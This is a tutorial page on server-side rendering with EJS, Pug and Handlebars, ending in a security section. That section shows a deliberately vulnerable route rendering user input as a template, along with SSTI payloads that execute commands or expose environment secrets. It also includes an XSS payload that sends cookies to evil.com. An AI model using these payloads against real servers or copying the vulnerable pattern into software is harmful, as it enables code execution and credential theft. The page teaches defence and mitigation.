Templating Engines - Server-Side Rendering¶
Table of Contents¶
- Why Server-Side Rendering Still Matters
- EJS : Embedded JavaScript
- Pug : Minimal Indentation-Based Syntax
- Handlebars : Logic-Less Templates
- Passing Data to Templates
- Layouts , Partials , Includes
- Security : SSTI and XSS via Unescaped Output
Why Server-Side Rendering Still Matters¶
Before SPAs took over , every web page was rendered on the server. Raw HTML strings concatenated with user data - a recipe for disaster that templating engines fixed by providing controlled interpolation , escaping , and reusable components
SSR is still the right call for: * SEO-critical pages (search engines love HTML , hate JavaScript) * Content-heavy sites (blogs , documentation , dashboards) * Applications where first-load performance matters * Any site where you don't need a 2MB JavaScript bundle to display text
EJS : Embedded JavaScript¶
EJS lets you write HTML with <% %> tags for JavaScript control flow and <%= %> for escaped output
npm install ejs
const ejs = require('ejs')
const template = '<h1>Welcome back , <%= user.name %></h1>'
const html = ejs.render(template, { user: { name: 'ali' } })
// <h1>Welcome back , ali</h1>
Template file example - views/profile.ejs:
<!DOCTYPE html>
<html>
<head>
<title>Profile - <%= user.name %></title>
</head>
<body>
<h1>User Profile</h1>
<p>Email: <%= user.email %></p>
<% if (user.bio) { %>
<p>Bio: <%= user.bio %></p>
<% } else { %>
<p>No bio yet - lazy bastard</p>
<% } %>
<h2>Recent Posts</h2>
<ul>
<% posts.forEach(post => { %>
<li><%= post.title %> - <%= post.date %></li>
<% }) %>
</ul>
</body>
</html>
Server integration:
const http = require('node:http')
const fs = require('node:fs')
const ejs = require('ejs')
const template = fs.readFileSync('views/profile.ejs', 'utf-8')
const server = http.createServer((req, res) => {
const html = ejs.render(template, {
user: { name: 'mahmoud', email: 'mahmoud@example.com', bio: null },
posts: [
{ title: 'Exploiting XSS', date: '2026-01-15' },
{ title: 'Bypassing WAFs', date: '2026-02-20' }
]
})
res.writeHead(200, { 'Content-Type': 'text/html' })
res.end(html)
})
EJS tags: * <% - control flow (no output) * <%= - escaped output (safe for HTML) * <%- - unescaped output (DANGEROUS - raw HTML) * <%# - comment (not rendered) * %> - closing tag (with optional - for whitespace trimming)
Pug : Minimal Indentation-Based Syntax¶
Pug (formerly Jade) uses indentation instead of closing tags. Less typing , but one wrong space breaks everything
npm install pug
const pug = require('pug')
const html = pug.renderFile('views/index.pug', { title: 'Home', user: null })
views/index.pug:
doctype html
html
head
title= title
link(rel='stylesheet', href='/style.css')
body
if user
h1 Welcome back , #{user.name}
a(href='/logout') Logout
else
h1 Hello , stranger
a(href='/login') Login
ul
each post in posts
li: a(href=`/posts/${post.id}`)= post.title
Pug gotchas that will waste your time: * Indentation must be consistent - tabs vs spaces matters * Attributes go in parentheses a(href='/x') * Text after tags uses a space: h1= variable vs h1 Static text * #{} interpolation inside text , = variable for tag content * : for inline tags: li: a(href='#') = <li><a href="#">
Handlebars : Logic-Less Templates¶
Handlebars enforces logic-less templates - no arbitrary JavaScript , only built-in helpers
npm install handlebars
const Handlebars = require('handlebars')
const template = Handlebars.compile(`
<h1>{{title}}</h1>
{{#if user}}
<p>Welcome , {{user.name}}</p>
{{else}}
<p>Please log in</p>
{{/if}}
<ul>
{{#each items}}
<li>{{this}}</li>
{{/each}}
</ul>
`)
const html = template({
title: 'Dashboard',
user: { name: 'tom' },
items: ['Recon', 'Exploit', 'Pivot']
})
Handlebars helpers you'll actually use: * {{variable}} - escaped output * {{{variable}}} - unescaped output (DANGEROUS) * {{#if condition}}...{{/if}} - conditional * {{#each array}}...{{/each}} - iteration (use {{this}} inside) * {{#unless condition}}...{{/unless}} - inverted conditional * {{> partialName}} - include partial
Registering custom helpers:
Handlebars.registerHelper('formatDate', function(date) {
return new Date(date).toLocaleDateString()
})
// {{formatDate post.createdAt}}
Passing Data to Templates¶
The data object you pass becomes the template's variable scope:
// EJS
const html = ejs.render(template, { foo: 'bar', items: [1,2,3] })
// template sees: foo , items
// Pug
const html = pug.renderFile('view.pug', { foo: 'bar' })
// template sees: foo
// Handlebars
const html = template({ foo: 'bar' })
// template sees: foo
Functions in template data:
ejs.render(template, {
formatPrice: (n) => `$${n.toFixed(2)}`,
items: [{ price: 29.99 }, { price: 49.99 }]
})
<!-- template -->
<% items.forEach(item => { %>
<p><%= formatPrice(item.price) %></p>
<% }) %>
Context awareness: Handlebars changes scope inside {{#each}} - {{this}} refers to the current item , not the root data. Access root with {{@root.variable}}
Layouts , Partials , Includes¶
EJS includes:
<!-- views/layout.ejs -->
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body>
<%- include('partials/header', { user }) %>
<%- body %>
<%- include('partials/footer') %>
</body>
</html>
<!-- views/partials/header.ejs -->
<header>
<nav>
<% if (user) { %>
<span><%= user.name %></span>
<% } %>
</nav>
</header>
Pug includes and inheritance:
//- views/layout.pug
doctype html
html
head
block title
title Default Title
block styles
body
block content
//- views/page.pug
extends layout
block title
title Custom Page
block content
h1 This is the page content
include partials/card
Handlebars partials:
Handlebars.registerPartial('header', `
<header>
<h1>{{siteName}}</h1>
</header>
`)
// usage in template:
// {{> header}}
Security : SSTI and XSS via Unescaped Output¶
Server-Side Template Injection (SSTI) is the showstopper - when user input goes into template rendering logic instead of being passed as data , an attacker can execute arbitrary code on your server
// VULNERABLE - rendering user input as a template
app.get('/render', (req, res) => {
const html = ejs.render(req.query.template, {}) // catastrophic
res.send(html)
})
// attacker sends: ?template=<%= process.env %>
// now they see all your environment variables + secrets
SSTI payload examples: * EJS: <%= global.process.mainModule.require('child_process').execSync('id') %> * Pug: #{global.process.env} * Handlebars: {{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.split "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}{{#each conslist}}{{#with (string.split.apply 0 codelist)}}{{this}}}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}
Mitigations: * Never let users control template names , paths , or content * Never pass user input as template source - only as data * If users need customization , use a safe markup language (Markdown) with strict rendering
// SAFE - user input is data , not template
const html = ejs.render('<p><%= userMessage %></p>', {
userMessage: req.query.message // escaped by <%= %>
})
XSS via unescaped output:
// DANGEROUS - unescaped output renders raw HTML
<%- userProvidedContent %>
// attacker sends: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// now you got pwned
EJS: <%= %> escapes , <%- %> does not Handlebars: {{ }} escapes , {{{ }}} does not Pug: #{} escapes , !{} does not
Rule of thumb: Never use unescaped output (<%- , {{{ , !{}) unless you have explicitly sanitized the content with a library like DOMPurify (server-side) or similar. And even then , think twice
// if you MUST render user HTML , sanitize with an HTML sanitizer:
const createDOMPurify = require('dompurify')
const { JSDOM } = require('jsdom')
const window = new JSDOM('').window
const DOMPurify = createDOMPurify(window)
const safe = DOMPurify.sanitize(userContent) // strips script tags , event handlers
prerequisites¶
web_05_sessions.md - Session data , user context for template personalization
next => web_07_static.md